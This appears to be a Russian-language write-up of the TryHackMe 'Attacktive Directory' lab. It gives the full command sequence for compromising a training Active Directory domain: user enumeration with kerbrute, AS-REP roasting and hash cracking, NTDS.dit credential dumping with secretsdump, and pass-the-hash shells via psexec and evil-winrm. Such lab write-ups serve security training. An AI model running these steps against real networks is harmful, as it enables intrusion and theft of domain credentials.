Перейти к содержанию

Attacktive Directory


Основная задача - эксплуатация уязвимого AD домена с помощью утилит:

  • kerbrute
  • inpacket:GetNPUsers
  • inpacket:secretsdump
  • inpacket:psexec
  • evil-winrm

Описание задания можно найти на TryHackme

Сканирование

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4  -p- IP-ADDRESS
#После получения сведений о портах
sudo nmap -sV -sC -O -p 53,80,88,135,139,389,445,464,593,636,3268,3269,3389 IP-ADDRESS 

Обнаружены открытые порты 53,80,88,135,139,389,445,464,593,636,3268,3269,3389
Получены версии, наименование ПО работающего на открытых портах

Обращаем внимание на 88, 389, 3268, 139 порты - на хосте развернут Kerberos, LDAP, smb. Запоминаем определившийся домен и имя контроллера домена.

пробуем получить информацию о smb:

sudo nmap --script smb-enum* IP-ADDRESS

Не находим ничего, что говорит о том, что анонимных шар не доступно.

Далее, пробуем получить информацию о доменных пользователях с помощью kerbrute:

./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local userlist.txt 
# userlist.txt - файл вида domain/username

получаем список пользователей. Обращаем внимание на svc-admin@spookysec.local и backup@spookysec.local

Эскплуатация уязвимости и брутфорс

В качестве проверки доступности уязвимости ASREPRoast используем утилиту GetNPUsers из состава проекта Impacket

Уязвимость заключается в том, что в случае наличия пользователей с установленным флагом DONT_REQUIRE_PREAUTH имеется возможность без наличия доменной учётки получить сообщение зашифрованное ключём пользователя, который, в свою очередь, получается из его пароля. Далее, из этого сообщения можно попытаться сбрутить сам пароль:

python3.9 GetNPUsers.py -usersfile ~/SP_USER.TXT -no-pass 'spookysec.local/'

Получаем хэш пользователя src-admin@spookysec.local

Через hashcat wiki узнаем тип хэша и скармливаем его Джону:

john --format=krb5asrep --wordlist=/root/passwordlist.txt ./file.txt 

Зная пароль от src-admin@spookysec.local просматриваем доступные шары SMB:

smbclient -L IP-ADDRESS --user svc-admin --workgroup spookysec.local

Находим файл под названием backup_credentials содержимое которого представляет собой последовательность символов.

Узнаем кодировку через hashes.com - base64.

Идем на base64decode.com для получения исходного текста, получаем логин/пароль пользователя backup.

Как правило, пользователь с таким наименованием, должен использоваться для бэкапов, поэтому у него с высокой долей вероятности есть права SeBackup

Пробуем получить NTDS.dit, для извлечени хэша пароля локального администратора:

python3.9 ./secretsdump.py -ntds NTDS spookysec.local/backup:backup2517860@IP-ADDRESS

RCE

Имея на руках хэш локального Администратора запускаем psexec или evil-winrm:

# Impacket:psexec
python3.9 psexec.py -hashes HASH-TYPE:HASH Administrator@IP-ADDRESS 
# HASH-TYPE - как правило LM - aad3b435b51404eeaad3b435b51404ee

# evil-winrm
evil-winrm -i IP-ADDRESS -u Administrator -H HASH

получаем cmd под локальным администратором. Забираем флаги в C:\Users\%USERNAME%\Desktop